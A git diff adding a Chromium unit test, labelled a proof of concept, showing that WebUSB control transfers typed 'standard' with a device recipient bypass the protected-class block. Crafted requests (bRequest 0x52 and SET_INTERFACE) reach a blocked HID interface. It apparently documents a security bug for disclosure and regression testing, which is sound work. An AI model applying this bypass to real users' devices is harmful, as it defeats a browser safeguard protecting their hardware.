diff --git a/services/device/usb/mojo/device_impl_unittest.cc b/services/device/usb/mojo/device_impl_unittest.cc index ea2d6bce5bbab..cc23f0fea3070 100644 --- a/services/device/usb/mojo/device_impl_unittest.cc +++ b/services/device/usb/mojo/device_impl_unittest.cc @@ -1093,6 +1093,137 @@ TEST_F(USBDeviceImplTest, ControlTransferProtectedClassBlock) { EXPECT_CALL(mock_handle(), Close()); } +// POC: STANDARD-type exemption bypasses the protected-class control-transfer +// block. A WebUSB site can tunnel an arbitrary (non-spec) bRequest to a +// protected HID interface by setting requestType:'standard', +// recipient:'device'. The on-wire setup packet differs from the blocked +// 'vendor' variant only in bits 5-6 of bmRequestType byte 0; firmware that +// dispatches on (bRequest, wIndex) without validating the Type bits will +// process the request against the protected interface. +TEST_F(USBDeviceImplTest, POC_StandardTypeBypassesProtectedClassBlock) { + // Block HID (class 0x03) -- one of the real WebUSB protected classes. + mojo::Remote device = + GetMockDeviceProxyWithBlockedInterfaces( + base::span_from_ref(uint8_t{0x03})); + + EXPECT_CALL(mock_device(), OpenInternal(_)); + { + base::test::TestFuture future; + device->Open(future.GetCallback()); + EXPECT_TRUE(future.Get()->is_success()); + } + + // Composite device: interface 0 = vendor-specific (0xFF, claimable), + // interface 1 = HID (0x03, blocked). + AddMockConfig(ConfigBuilder(/*configuration_value=*/1) + .AddInterface(/*interface_number=*/0, + /*alternate_setting=*/0, + /*class_code=*/0xFF, /*subclass_code=*/0, + /*protocol_code=*/0) + .AddInterface(/*interface_number=*/1, + /*alternate_setting=*/0, + /*class_code=*/0x03, /*subclass_code=*/0, + /*protocol_code=*/0) + .Build()); + + EXPECT_CALL(mock_handle(), SetConfigurationInternal(1, _)); + { + base::RunLoop loop; + device->SetConfiguration( + 1, base::BindOnce(&ExpectResultAndThen, true, loop.QuitClosure())); + loop.Run(); + } + + // Baseline 1: claiming the HID interface is correctly blocked. + { + base::test::TestFuture future; + device->ClaimInterface(1, future.GetCallback()); + EXPECT_EQ(future.Get(), mojom::UsbClaimInterfaceResult::kProtectedClass); + } + + const std::vector payload = {0xDE, 0xAD, 0xBE, 0xEF}; + + // Baseline 2: VENDOR + DEVICE, bRequest=0x52, wIndex=1 (HID interface). + // Correctly rejected by HasControlTransferPermission(). + { + auto params = mojom::UsbControlTransferParams::New(); + params->type = UsbControlTransferType::VENDOR; + params->recipient = UsbControlTransferRecipient::DEVICE; + params->request = 0x52; // arbitrary vendor request + params->value = 0; + params->index = 1; // targets the HID interface + base::RunLoop loop; + device->ControlTransferOut( + std::move(params), payload, 0, + base::BindOnce(&ExpectTransferStatusAndThen, + mojom::UsbTransferStatus::PERMISSION_DENIED, + loop.QuitClosure())); + loop.Run(); + } + + // BYPASS: STANDARD + DEVICE, identical bRequest=0x52, wIndex=1, payload. + // 0x52 is NOT a USB-spec STANDARD request code (valid: 0x00-0x0C), yet + // HasControlTransferPermission() early-returns true and the transfer + // reaches UsbDeviceHandle::ControlTransfer() -> the wire. The on-wire + // setup packet (bmRequestType=0x00, bRequest=0x52, wIndex=1) differs from + // the blocked VENDOR variant (bmRequestType=0x40) only in bits 5-6 of + // byte 0. + { + AddMockOutboundData(payload); + EXPECT_CALL(mock_handle(), + ControlTransferInternal(UsbTransferDirection::OUTBOUND, + UsbControlTransferType::STANDARD, + UsbControlTransferRecipient::DEVICE, + /*request=*/0x52, /*value=*/0, + /*index=*/1, _, 0, _)) + .Times(1); + + auto params = mojom::UsbControlTransferParams::New(); + params->type = UsbControlTransferType::STANDARD; + params->recipient = UsbControlTransferRecipient::DEVICE; + params->request = 0x52; // non-spec "standard" request -> tunneled + params->value = 0; + params->index = 1; // targets the blocked HID interface + base::RunLoop loop; + device->ControlTransferOut( + std::move(params), payload, 0, + base::BindOnce(&ExpectTransferStatusAndThen, + mojom::UsbTransferStatus::COMPLETED, + loop.QuitClosure())); + loop.Run(); + } + + // BYPASS variant: SET_INTERFACE (bRequest=0x0B) against the protected HID + // interface via DEVICE recipient also reaches the wire even though + // ClaimInterface(1) is blocked. + { + AddMockOutboundData({}); + EXPECT_CALL(mock_handle(), + ControlTransferInternal(UsbTransferDirection::OUTBOUND, + UsbControlTransferType::STANDARD, + UsbControlTransferRecipient::DEVICE, + /*request=*/0x0B, /*value=*/0, + /*index=*/1, _, 0, _)) + .Times(1); + + auto params = mojom::UsbControlTransferParams::New(); + params->type = UsbControlTransferType::STANDARD; + params->recipient = UsbControlTransferRecipient::DEVICE; + params->request = 0x0B; // SET_INTERFACE + params->value = 0; + params->index = 1; // protected HID interface + base::RunLoop loop; + device->ControlTransferOut( + std::move(params), {}, 0, + base::BindOnce(&ExpectTransferStatusAndThen, + mojom::UsbTransferStatus::COMPLETED, + loop.QuitClosure())); + loop.Run(); + } + + EXPECT_CALL(mock_handle(), Close()); +} + TEST_F(USBDeviceImplTest, ControlTransferProtectedClassBlockDisabled) { base::test::ScopedFeatureList feature_list; feature_list.InitAndDisableFeature(